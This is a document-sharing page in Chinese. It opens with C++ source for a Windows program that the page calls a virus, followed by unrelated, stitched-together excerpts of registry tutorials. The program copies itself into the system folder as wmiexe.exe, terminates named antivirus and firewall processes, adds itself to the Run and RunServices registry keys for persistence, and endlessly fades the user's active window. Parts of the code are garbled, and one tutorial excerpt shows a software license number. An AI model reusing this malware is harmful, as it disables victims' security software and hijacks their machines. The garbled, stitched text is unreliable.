当前位置:文档之家› 改变注册表程序(VC)

改变注册表程序(VC)

改变注册表程序(VC)
改变注册表程序(VC)

程序运行会调用CreateToolhelp关闭现有防火墙,设置注册表中

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run启动相,实现开机自运行。病毒表现为是使用SetLayeredWindowAttributes函数,使当前窗口变为透明。

程序运行先关闭防火墙,写入注册表,再用LoadLibrary和GetProcAddress确定SetLayeredWindowAttributes函数位置,再用GetForegroundWindow得到当前窗口句柄,使其透明。

透明.cpp程序如下

#include "stdafx.h"

#include

#include

#include

#include

#pragma comment(lib, "User32.lib")

unsigned char level;

char buffer[255];

char syspath[100];

char exefile[100];

int err;

HKEY regkey;

HANDLE hMutex;

typedef DWORD (WINAPI *PFUNC)(HWND,DWORD,BYTE,DWORD);

bool instr(char* a,char* b)

{

if (strlen(a)

unsigned int i,j;

bool r=false;

for (i=0;i

{

if ((a[i]==b[0])||(a[i]==b[0]+32)||(a[i]==b[0]-32))

{

r=true;

for (j=i;j-i

{

if ((a[j]!=b[j-i])&&(a[j]!=b[j-i]+32)&&(a[j]!=b[j-i]-32)){r=false;break;} }

}

}

return r;

}

void KillProc(bool opt)

{

HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

PROCESSENTRY32* info=new PROCESSENTRY32;

info->dwSize=sizeof(PROCESSENTRY32);

if(Process32First(handle,info))

{

if(GetLastError()!=ERROR_NO_MORE_FILES )

{

if (opt)

{

if (instr(info->szExeFile,"wmiexe.exe"))

{

HANDLE h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

else

{

if (instr(info->szExeFile,"PFWMAIN.EXE")||

instr(info->szExeFile,"RAVMON.EXE")||

instr(info->szExeFile,"RAVTIMER.EXE")||

instr(info->szExeFile,"RAVSERVICE.EXE")||

instr(info->szExeFile,"CCENTER.EXE"))

{

HANDLE h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

while(Process32Next(handle,info)!=FALSE)

{

if (opt)

{

if (instr(info->szExeFile,"wmiexe.exe"))

{

HANDLE

h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

else

{

if (instr(info->szExeFile,"PFWMAIN.EXE")||

instr(info->szExeFile,"RAVMON.EXE")||

instr(info->szExeFile,"RAVTIMER.EXE")||

instr(info->szExeFile,"RAVSERVICE.EXE")||

instr(info->szExeFile,"CCENTER.EXE"))

{

HANDLE

h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

}

}

}

CloseHandle(handle);

}

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

// TODO: Place code here.

level=255;

int d_level=5;

HWND hwnd;

long win_long;

strset(syspath,0);

strset(exefile,0);

HMODULE module = GetModuleHandle(0);

GetModuleFileName(module, exefile, sizeof (exefile));

GetSystemDirectory(syspath,100);

if (!instr(exefile,syspath))

{

strcat(syspath,"\\wmiexe.exe");

while (CopyFile(exefile,syspath,false)==0)

{

err=GetLastError();

if (err==32){KillProc(true);}

Sleep(10);

}

ShellExecute(NULL,"OPEN",syspath,NULL,NULL,1);

Sleep(10);

ExitProcess(0);

}

else

{

hMutex = CreateMutex (NULL, TRUE, " ");

if (GetLastError () == ERROR_ALREADY_EXISTS){::ExitProcess(0);} err=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Wind ows\\CurrentVersion\\Run",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

err=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Wind ows\\CurrentVersion\\RunServices",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

err=RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windo ws\\CurrentVersion\\Run",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

err=RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windo ws\\CurrentVersion\\RunServices",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

}

HMODULE m_hDLLUser32=LoadLibrary( "user32" );

PFUNC SetLayeredWindowAttributes

=(PFUNC)::GetProcAddress( m_hDLLUser32, "SetLayeredWindowAttributes" ); start:

//hwnd=FindWindow("Shell_TrayWnd",NULL);

hwnd=GetForegroundWindow();

if ((hwnd!=0)&&

(hwnd!=GetDesktopWindow())&&

(hwnd!=FindWindow("Shell_TrayWnd",NULL))&&

(hwnd!=FindWindow("Progman",NULL)))

{

win_long=GetWindowLong(hwnd,GWL_EXSTYLE);

SetWindowLong(hwnd,GWL_EXSTYLE,win_long|0x80000);

SetLayeredWindowAttributes(hwnd, NULL, level, 2);

}

Sleep(1);

if (level>=254){d_level*=(-1);Sleep(1000);}

if (level<=50){d_level*=(-1);}

level+=d_level;

goto start;

return 0;

}

常用的注册表项目编辑

二、桌面外观的修改实例 1.全面定制“开始”菜单中的图标(适用范围:Windows 9x/Me/NT/2000/XP) “开始”菜单是用户最常使用的,它里面有“程序”、“文档”、“设置”、“搜索”、“帮助”、“运行”和“关机”等几项图标,我们可以通过修改注册表来加以改变。 首先运行注册表编辑器,进入到注册表项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\Shell Icons。如果该注册表项不存在,则创建它。 在该注册表项下创建如下表中罗列的字符串类型的值项,并且修改它们的值为新的图标。(如图表) 重新启动计算机,“开始”菜单中的图标就全部换成了新的图标。 提示:图标可以直接使用可执行文件中的图标。例如“explorer.exe,3”,表示使用explorer.exe文件中的第4个图标。 2.增加和删除“开始”菜单中的项目 一般情况下,“开始”菜单中有“程序”、“文档”、“设置”、“搜索”、“帮助”、“运行”和“关机”这几项。通过修改注册表,我们可以将一些不常用的项

从“开始”菜单中删除。如果有特殊的目的,例如网吧中的计算机可能不想让使用者使用“开始”菜单中的“控制面板”来随意改变计算机的设置,也可以使用此方法。 下表中的值项,都位于注册表项HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer中。(如图表) 3.增加和删除桌面的固定项目(适用范围:Windows 9x/Me/NT/2000/XP)一般情况下,桌面上都有“我的电脑”、“网上邻居”、“回收站”、“我的文档”等。通过修改注册表,我们可以不让这些项目显示在桌面上。这对于不希望使用者胡乱操作的场合是有用处的。例如对于网吧中的计算机,就可以将全部的桌面项目隐藏起来,以防止使用者通过“我的电脑”

注册表脚本编程入门

注册表脚本编程入门 本小时我们将对注册表脚本文件进行比较深入的学习。注册表脚本文件——即.reg文件的重要性不仅在于可以用于备份注册表设置,还可以用来改变注册表设置而无需打开注册表编辑器,这在解决某些问题时具有独特的优势和便利性。 注册表脚本是什么? 在计算机日常维护中,为了防患于未然,我们需要对注册表进行导出备份;在导出时选择文件保存类型时会看到*.Reg文件,如图22-1所示,这个文件就是注册表脚本文件的格式。 图22-1导出注册表文件图22-2通过快捷菜单编辑 该.Reg文件可以通过记事本或其它文本编辑器打开并进行编辑,比如右击某个.Reg文件,在右键菜单中会出现图22-2所示的菜单。 在右键快捷菜单中,选择“编辑”命令就可以打开默认的脚本编辑软件(在Windows中都是记事本)来对脚本进行编辑,当然我们也可以选择其它的文本编辑软件来进行脚本编辑,不过需要在“资源管理器”的“工具→文件夹选项”来设置。打开“文件夹选项”窗口,选择“文件类型”选项,在其中找到“REG 注册表项”,再单击“高级”按钮,进入图22-3所示的窗口。 图22-3修改REG文件默认设置项目图22-4编辑REG文件类型的操作 双击“edit”或选择“编辑”按钮就可以对打开该文件对应的应用程序进行修改,我们可以通过“浏览”按钮来选择其它关联应用程序,如图22-4所示,比如用于编辑.Reg文件默认的是程序(记事本),这里我们就可以在“用于执行操作的应用程序”中更改。 当注册表或系统出现问题的时候,就可以通过注册表的导入功能将.Reg文件导入注册表,这样可以实现恢复注册表的目的。或者,直接运行.Reg文件安装到注册表中去,之后会弹出安装提示框,如图22-5所示,选择“是”按钮就可以将这些内容添加到注册表中。 图22-5安装.Reg文件 说了这么多,那么到底什么是注册表脚本呢?其实就是上面我们反复提到的.Reg文件,简单地讲,注册表脚本就是以.Reg为扩展名的可以对注册表进行操作的脚本文件。我们可以利用该.Reg文件直接对注册表进行各种修改操作,而且对注册表的操作不会受到注册表编辑器被锁定或禁用的限制。 如何编写注册表脚本? 首先我们得了解一下注册表文件的格式,跟其它一些脚本语言一样,注册表脚本在编写的时候需要遵循一定的格式,如果格式不正确,在使用这些脚本的时候会出现一些意想不到的问题。要遵循的格式是指我们在修改或自己创建一个注册表脚本文件的时候应该注意的问题。当然如果是用注册表编辑器(Regedit)导出的.Reg脚本文件是没有任何格式问题的。 下面让我们来看一段注册表脚本文件: ----------------------------------------------------------- REGEDIT4 ;一个注册表脚本文件 [HKEY_LOCAL_MACHINE\SOFTWARE\ACD Systems\ACDSee\50] @="默认值" "CompanyID"="" "LicenseNumber"="581 076 451 038 881 441" "UserName"="User007" ----------------------------------------------------------- 在上面的脚本文件中, 第一行的“REGEDIT4”是用来标明注册表脚本文件的文件格式类型,是必须的部分,该格式可以广泛应用于Windows 9X/.NT4/2000/XP中;另外有一种名为“Windows Registry Editor Version 5.00”的文件格式,它仅被用于Windows 2000和Windows XP中。这里建议大家使用REGEDIT4格式。在REGEDIT4之后的部分就是注册表脚本文件的正文部分。

注册表教程完整版之第二部份注册表桌面修改实例

第二部份注册表桌面修改实例、 (2) 一、让心爱的壁纸永驻桌面 (2) 二、更改桌面背景(Windows 9x/Me/2000/xp) (3) 三、自定义桌面壁纸的位置 (4) 四、更改登录时的背景图案(Windows NT/2000) (4) 五、改变登录时的背景色 (5) 六、在桌面上显示Windows版本号 (5) 七、禁止活动桌面 (6) 八、使用96位真彩色(Windows 9x/Me) (6) 九、隐藏桌面所有图标 (6) 十、让图标的色彩更鲜艳 (7) 十一、桌面图标刷新 (7) 十二、设置图标之间的垂直间距(windows NT/2000) (7) 十三、改变桌面图标大小 (8) 十四、删除快捷方式图标中的小箭头 (8) 十五、创建没有“快捷方式”字样的快捷键 (9) 十六、把快捷方式中的小箭头改为其他图标 (9) 十七、换个金属公文包(Windows 98/Me) (10) 十八、为“我的电脑”改名 (10) 十九、为“我的电脑”改图标 (10) 二十、修改“我的电脑”的提示信息 (11) 二十一、为“回收站”改名(Windows 98) (11) 二十二、误删除系统项目图标的恢复 (11) 二十三、让窗口自动刷新 (12) 二十四、自动切换当前窗口 (12)

二十五、设置窗口的缩放控制 (13) 二十六、改变窗口变化时的动感效果 (13) 二十七、更改窗口标题栏的高度与宽度 (13) 二十八、更改窗口菜单栏的大小 (14) 二十九、修改窗口滚动条的大小 (14) 三十、锁定任务栏的大小和位置(Windows xp) (15) 三十一、将相似的任务栏按钮集中到一起 (15) 三十二、把任务栏上的时间变成中文显示 (15) 三十三、打造个性化的任务栏时间显示 (16) 三十四、在任务栏显示标准格式时间(Win 98/Me/Nt/2000/xp) (17) 三十五、去除工具栏提示文字 (18) 三十六、在“我的电脑”中显示“打印机” (18) 三十七、在“我的电脑”中显示“计划任务” (18) 三十八、隐藏“我的电脑”中的驱动器(Win 98/Me/Nt/2000/xp) (19) 三十九、修改缩略图大小(Windows xp) (19) 四十、更改软驱、光驱、文件夹图标(Windows 98) (20) 四十一、删除共享资源的手形图标 (20) 四十二、更改打印机图标(Windows 98/Me/Nt/2000) (20) 四十三、更改IE的图标 (21) 第二部份注册表桌面修改实例、 一、让心爱的壁纸永驻桌面 当用户设置了自己心爱的墙纸后,最不愿意看到和最头疼的就是其他使用者会更换墙纸,其实可以通过修改注册表来实现禁止更换的功能。

Windows系统注册表的中文注释

Windows系统注册表的中文注释.txt爱人是路,朋友是树,人生只有一条路,一条路上多棵树,有钱的时候莫忘路,缺钱的时候靠靠树,幸福的时候别迷路,休息的时候靠靠树!第一:进程是什么 进程为应用程序的运行实例,是应用程序的一次动态执行。看似高深,我们可以简单地理解为:它是操作系统当前运行的执行程序。在系统当前运行的执行程序里包括:系统管理计算机个体和完成各种操作所必需的程序;用户开启、执行的额外程序,当然也包括用户不知道,而自动运行的非法程序(它们就有可能是病毒程序)。 危害较大的可执行病毒同样以“进程”形式出现在系统内部(一些病毒可能并不被进程列表显示,如“宏病毒”),那么及时查看并准确杀掉非法进程对于手工杀毒有起着关键性的作用。 第二:什么是木马 木马病毒源自古希腊特洛伊战争中著名的“木马计”而得名,顾名思义就是一种伪装潜伏的网络病毒,等待时机成熟就出来害人。 传染方式:通过电子邮件附件发出,捆绑在其他的程序中。 病毒特性:会修改注册表、驻留内存、在系统中安装后门程序、开机加载附带的木马。 木马病毒的破坏性:木马病毒的发作要在用户的机器里运行客户端程序,一旦发作,就可设置后门,定时地发送该用户的隐私到木马程序指定的地址,一般同时内置可进入该用户电脑的端口,并可任意控制此计算机,进行文件删除、拷贝、改密码等非法操作。 防范措施:用户提高警惕,不下载和运行来历不明的程序,对于不明来历的邮件附件也不要随意打开。 第三:什么是计算机病毒 计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓 延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随 同文件一起蔓延开来。 除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎 仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不 寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。 可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染”其他程序 的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性

Regini 命令行修改注册表及权限!

Regini 命令行修改注册表及权限!.txt 在regset.ini的格式: 注册表键数值 [更改的权限] 例如: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run [1 7 17] 上例中是分别设置 Administrators everyone System 三个用户对注册表 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 拥有完全访问权限 下面我们看看对应的权限代码 1 - Administrators 完全访问 2 - Administrators 只读访问 3 - Administrators 读和写入访问 4 - Administrators 读、写入、删除访问 5 - Creator 完全访问 6 - Creator 读和写入访问 7 - everyone 完全访问 8 - everyone 只读访问 9 - everyone 读和写入访问 10 - everyone 读、写入、删除访问 11 - Power Users 完全访问 12 - Power Users 读和写入访问 13 - Power Users 读、写入、删除访问 14 - System Operators 完全访问 15 - System Operators 读和写入访问 16 - System Operators 读、写入、删除访问 17 - System 完全访问 18 - System 读和写入访问 19 - System 只读访问 20 - Administrators 读、写、执行访问 21 - Interactive User 完全访问 22 - Interactive User 读和写入访问 23 - Interactive User 读、写入、删除访问 就第一个例子,我们要设置常见的3个组的用户为只读权限.那么先新建一个文件名为 regset.ini然后编辑regset.ini的内容如下: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run [2 9 19] 然后保存regset.ini 在命令行下导入regset.ini的命令是: regini regset.ini

WINDOWS注册表的简介

WINDOWS注册表的简介 An introduction to the WINDOWS registry 学生:xxx (xxx学院级xxx班级,学号) 摘要:我们经常谈到windows注册表,而且有很多软件是专门为修改它而设计的。可是我们对它的内容不一定很了解,一些教材书上也很少提及,下面对windows注册表的知识作一点介绍。 Abstract:we often talk about the windows registry,and there are a lot of software is specifically designed to modify it.But we do not necessarily understand it very well,some textbooks are rarely mentioned,the following knowledge of the windows registry to make a little introduction. 关键词:WINDOWS注册表;简介 Key words:WINDOWS registry;brief introduction 0引言 所谓注册表就是一个庞大的数据库,其中容纳了应用程序和计算机系统的全部配置信息。它是Windows用来存储描述用户信息、硬件配置、各种系统设置以及各个32位Windows 应用程序的配置信息的分层数据库。当安装32位的Windows应用程序时,则与那个应用程序的配置和参数选择有关的登录项就被加入到注册表里;当安装一个即插即用的硬件设备时,Windows在启动以后就会在注册表里增加一个合适的登录项。 1注册表的特点 1.1WINDOWS注册表有如下的特点: 1.1.1注册表允许用户对硬件、系统参数、应用程序和设备驱动程序进行跟踪配置,这使得修改某些设置后不用重新启动计算机。 1.1.2注册表中登录的硬件部分数据可以支持高版本WINDOWS的即插即用特性。当WINDOWS检测到计算机上安装了新硬件时,就会把相关数据保存到注册表中,此外,还可以避免新设备与原有设备之间的资源冲突。 1.1.3管理人员和用户通过注册表可以在网络上检查系统的设置,使得远程管理得以实现。 1.2注册表与INI文件比较起来有如下的不同: 1.2.1它采用二进制形式记录数据。 1.2.2它支持子键,各级子键关键字都有自己的键值。 1.2.3注册表的键值可以包括可执行代码,而不是简单的字串,在同一计算机上。 2注册表简介 2.1什么是WINDOWS注册表 WINDOWS注册表是一个庞大的数据库。它包含应用程序和计算机系统配置,系的应用程序的初始化信息,应用程序和文档文件的关联,硬件设备的说明、状态和属性以及各种状态信息和数据。 2.1.1WINDOWS注册表包含两部分内容:数据库和数据库编辑器。

注册表修改310例

2007-08-17 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%% (1)https://www.doczj.com/doc/0f3596204.html,/regedit/727595.html 1.自动刷新 每次在窗口添加一个文件夹或删除一个对象后,须要按键对窗口 进行重新刷新,很麻烦。通过修改注册表可以达到自动刷新的目的。 点击HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTRO LSET\CONTROL\UPDATE,修改 "UPDATEMODE"值,由"1"改为"0"。 2.修改系统版权信息 点击HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\DEVEOPER\SETUP,在其右窗口中保存着安装Windows98时产生的所有版权信息,用鼠标右键点击这些串值键可以随便修改,这样不须重新安装Windows 98就可修改系统原有的版权信息。 3.加快Windows 98启动速度 Windows98在启动时能自动加载一些程序运行,有的程序放在"开始"菜单中的启动组里,一些重要的、不须用户干涉的系统程序,则存放在注册表中。如果想加快Windows98的启动速度,可以适当地删除这些程序。在启动组中的程序可以通过"任务栏"很方便地删除。如果程序不在启动组中,则须要通过修改注册表来删除。 点击HKEY_LOCAL_MACHINE\MICROSOFT\WINDOWS\CURRENTVERSION\Run,选择右边窗口中出现的开机自启动程序,将之删除即可。 点击HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RunServices,单击右边窗口中出现的开机自启动程序,将之删除。 Run和RunServices的区别是,Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行,如电源管理程序。 4.删除"开始"菜单中的"收藏夹" "收藏夹"是为了便于访问主页而设计的,对于没上网的用户来说其用处不大,可以删除它。点击HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER,在右边窗口中点击鼠标的右键,然后选择"新建"菜单中的"DWORD"命令,命名为NoFavoritesMenu,并将其值设置为"1"。 再重新启动电脑。 5.扩充"回收站"的鼠标右键功能 "回收站"是Windows98中的一个系统级桌面图标,由于其鼠标右键菜单功能不够强大,如"回收站"鼠标右键菜单中没有"删除"和"改名"功能,给实际应用带来一定不便,为此我们可以通过修改注册表来为其扩充菜单功能。

如何修改注册表1

如何修改注册表? 注册表是Windows操作系统的核心。它实质上是一个庞大的数据库,存放有计算机硬件和全部配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备说明以及各种网络状态信息和数据。可以说计算机上所有针对硬件、软件、网络的操作都是源于注册表的。 一、Windows XP注册表精解 Windows XP是微软公司于2001年10月份正式推出的新的Windows操作系统。Windows XP是Windows 2000的后续版本,以Windows 2000核心代码为基础,不仅继承了前者的可靠性和其它的优良性能,而且还加强了Windows Me操作系统的系统回复、媒体播放器、图像获取等新功能,给用户提供了更稳定的运行环境和方便快捷的操作。 正如上文所述,Windows XP是以Windows 2000核心代码为基础的,也可是完全说成是Windows 2000的一个升级版本,在注册表方面,没有发生太大的改变,注册表仍然是Windows XP的核心部件。 1.Windows XP注册表的结构 Windows XP的注册表同样是以树形结构组织的。它由两个注册表子目录树组成:HKEY_LOCAL_MACHINE和HKEY_USERS。但是为了使注册表中的信息更易于查找,Windows XP预定义了五个子目录树。 每个根项名均以HKEY_打头,以便向软件开发人员指出这是可以由程序使用的句柄。句柄是一个数值,用来识别资源便于程序进行访问。 由于注册表是树形结构的,所以我们可以将注册表里的内容分为树枝和树叶。树枝下可以有多个树枝,也可以有多个树叶。这个树枝,我们把它叫做“项”,树叶呢,叫做“值项”。值项包括三部分:值的名称、值的数据类型和值本身。 [返回] 2.Windows XP注册表编器 我们知道,注册表内的所有信息都是存放在System.dat、User.dat文件中的,其中System.dat 文件包含了所有的硬件信息和软件信息,User.dat 包含了用户信息。如果在系统中配置了两个或两个以上的用户,在Windows\Profile\用户名目录中还存放有各个用户的User.dat文件,这些文件都是二进制数据文件,修改注册表实际上就是对上述的三个文件进行修改。但是,我们不能对这些二进制数据文件进行直接修改,而必须要借助于注册表编辑器。注册表编辑器实际上就是我们查看和修改注册表文件的图形界面。 启动Windows XP注册表编辑器的方法是:单击“开始→运行”,在对话框中输入“regedit”,然后点击“确定”按钮,注册表编辑器就会被运行起来。它的界面和Windows 2000中的注册表编辑器很相似。 和以前的Windows相比,注册表表编辑器有了一些改变。在“编辑”菜单下,有一个“权限”菜单项,通过它,可以设置各个注册表项对于不同用户的权限。当然,你必须是管理员才可以执行此操作。 在“查看”菜单中,有一个“显示二进位数据”。通过它,可以方便的查看二进制数据的内容。 提示:你可能还记得在Windows NT/2000中,还提供了一个32位的注册表编辑器Regedt32.exe,其界面类似于早期Windows的文件管理器。在Windows XP中,虽然仍然提供

注册表REG文件编写实例(创建、删除、添加、更改键值等等)

Windows 中的注册表文件(system.dat 和user.dat )是Windows 的核心数据库,因此,对Windows 来说是非常重要的。通过修改注册表文件中的数据,可以达到优 化Windows 性能的效果。但修改注册表也可能导致整个Windows 系统的崩溃!所以,在对注册表进行操作前或者是在安装一些软件前先对注册表进行备份。 下面介绍REG 文件的编写方法。 一、对主键的操作 1.新建一个主键 例如我们想在主键HKEY_CURRENT_USER\Software 下新建一个名叫“我的软件”的主键。那么,你可以打开记事本,写入如下内容: 说明: (1) 第一行的REGEDIT4 必须用大写。第二行必须为一个空行。在最后必须要有一个回车。 (2) Windows 95/98/ME/NT4.0等的REG文件开头第一行是“REGEDIT4”。而Windows 2000/XP则是“Windows Registry Editor Version 5.00”,用以区分所使用的操作系统。事实上,“REGEDIT4”适合目前任何Windows 操作系统(9X/2000/XP/2003)。 然后将这个文件保存成为REG 格式。例如,reg.reg 双击运行此文件,会弹出两次确认信息,确定后计算机就会把我们写的注册表项目写入注册表文件中。你可以打开Regedit.exe 来检查一下。

2.删除一个主键 例如我们想把刚才我们建的那个名叫“我的软件”的主键删除掉,那么我们可以在记事本中这么写: 注意到前面的减号“- ”了吧,这就是删除的意思。将它保存成reg 格式,运行。“我的软件”这个主键就被删掉了。 二、对键值项的操作 1.添加一个键值项 要新建一个键值项,必须要指明该键值所在的分支,该键值的名字、该键值的类型和该键值的值( 数据) 。例如要在分 支HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 下新建一个名为“Nodrives ”,类型为“Dword ”,值为“00000004 ”的键值项。你可以这么写:

注册表编辑器注解

1注册表编辑器 要手工编辑注册表,就要求打开注册表编辑器,这是必然的。那么如何打开注册表编辑器呢?在NT架构的系统上有什么方法可以打开新版本的注册表编辑器呢?本文将详细回答你的问题。 首先出场的是Win98/Me,因为Win98和WinMe没有大的区别,所以这里放在一起讲述。在Win98/Me里面的注册表编辑器只有一种,就是最"原始"的那一种。之所以说他原始是因为他没有任何安全限制,也就是说它的注册表编辑器可以被任意一个用户打开,并没有任何权限限制。这主要是因为Win98/Me的使用对象是一般的单机用户,不需要限制权限,这一点和NT/2000/XP有很大的不同。打开的方法: 1.打开方法:单击「开始」→运行→输入regedit 2.另外一种方法:在Windows目录下找到regedit.exe,直接双击也可以打开。随后是Win2000/XP出场。因为2000/XP在设计时加上了权限这一概念,所以在这2个系统里面有2种方法可以打开注册表编辑器。一种是直接在开始--运行中输入regedit,出现的界面和98/Me一样。这里就不详细说明了。另外一种打开方式是本文的重点内容———有权限限制的注册表编辑器(打开方法:开始———运行中输入regedt32)。如图所示(这里是WinXP的截图,Win2000下的截图和WinXP是一样的)。 大家可以在图1中看到当你选中一个键值的时候,编辑下拉菜单下就可以看到一个选项———权限,用鼠标单击这个选项以后会出现图2的窗口。用鼠标分别单击各个用户组就可以看到不同的权限限制,如果你觉得某一个用户组的权利太高了,就可以在下方修改权限(注意:必须赋予Administrators组用户完全权限,否则一旦你或相应的软件、驱动程序要修改注册表,但是由于所有的组用户都没有权限修改,所以你将不能够成功安装。所以必须把完全权限赋予Administrators组用户(系统默认)。 操作系统版本打开方法注意事项 Win98/98SE/Me 运行中输入regedit.exe 因为98/ME里面没有任何有效的权限限制功能,所以任何用户均对注册表有完全控制功能。 Win2000/XP 1.运行中输入regedit.exe 2.运行中输入regedt32.exe 使用第一种方法打开的注册表编辑器和Win98下的界面一样,而且功能也一样,同样没有可以设置权限的地方,但是使用第二种方法打开的注册表编辑器就可以很方便的设置权限,如果你作为一个网络管理员的话,建议你安装完系统以后使用第2种方法打开注册表编辑器,然后修改需要修改的权限设置部分以免被他人恶意修改。

Regini 命令行修改注册表及权限!

用Regini修改注册表权限 系统技术 2009-01-09 21:56 阅读92 评论0 字号:大大中中小小 Regini是一个设置注册表权限的安全工具,常用于命令行方式批量更改注册表权限来达到提高系统安全性,下面我们先看看regnin所对应的格式和权限数值: 在regset.ini的格式: 注册表键数值 [更改的权限] 例如: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run [1 7 17] 上例中是分别设置 Administrators everyone System 三个用户对注册表 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 拥有完全访问权限 下面我们看看对应的权限代码 1 - Administrators 完全访问 2 - Administrators 只读访问 3 - Administrators 读和写入访问 4 - Administrators 读、写入、删除访问 5 - Creator 完全访问 6 - Creator 读和写入访问 7 - everyone 完全访问 8 - everyone 只读访问 9 - everyone 读和写入访问 10 - everyone 读、写入、删除访问 11 - Power Users 完全访问 12 - Power Users 读和写入访问 13 - Power Users 读、写入、删除访问 14 - System Operators 完全访问 15 - System Operators 读和写入访问 16 - System Operators 读、写入、删除访问 17 - System 完全访问 18 - System 读和写入访问 19 - System 只读访问 20 - Administrators 读、写、执行访问 21 - Interactive User 完全访问 22 - Interactive User 读和写入访问 23 - Interactive User 读、写入、删除访问 就第一个例子,我们要设置常见的3个组的用户为只读权限.那么先新建一个文件名为regset.ini然后编辑regset.ini的内容如下:

Windows XP注册表详解

Windows XP注册表详解 特别提示:在修改注册表前请先备份注册表 注册表是Windows操作系统的核心。它实质上是一个庞大的数据库,存放有计算机硬件和全部配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备说明以及各种网络状态信息和数据。可以说计算机上所有针对硬件、软件、网络的操作都是源于注册表的。 一、Windows XP注册表精解 Windows XP是微软公司于2001年10月份正式推出的新的Windows操作系统。Windows XP是Windows 2000的后续版本,以Windows 2000核心代码为基础,不仅继承了前者的可靠性和其它的优良性能,而且还加强了Windows Me操作系统的系统回复、媒体播放器、图像获取等新功能,给用户提供了更稳定的运行环境和方便快捷的操作。 正如上文所述,Windows XP是以Windows 2000核心代码为基础的,也可是完全说成是Windows 2000的一个升级版本,在注册表方面,没有发生太大的改变,注册表仍然是Windows XP的核心部件。 1.Windows XP注册表的结构 Windows XP的注册表同样是以树形结构组织的。它由两个注册表子目录树组成:HKEY_LOCAL_MACHINE和HKEY_USERS。但是为了使注册表中的信息更易于查找,Windows XP预定义了五个子目录树。 每个根项名均以HKEY_打头,以便向软件开发人员指出这是可以由程序使用的句柄。句柄是一个数值,用来识别资源便于程序进行访问。 由于注册表是树形结构的,所以我们可以将注册表里的内容分为树枝和树叶。树枝下可以有多个树枝,也可以有多个树叶。这个树枝,我们把它叫做“项”,树叶呢,叫做“值项”。值项包括三部分:值的名称、值的数据类型和值本身。 2.Windows XP注册表编辑器 我们知道,注册表内的所有信息都是存放在System.dat、User.dat 文件中的,其中System.dat文件包含了所有的硬件信息和软件信息,User.dat包含了用户信息。如果在系统中配置了两个或两个以上的用户,在Windows\Profile\用户名目录中还存放有各个用户的User.dat 文件,这些文件都是二进制数据文件,修改注册表实际上就是对上述的三个文件进行修改。但是,我们不能对这些二进制数据文件进行直

注册表修改310例

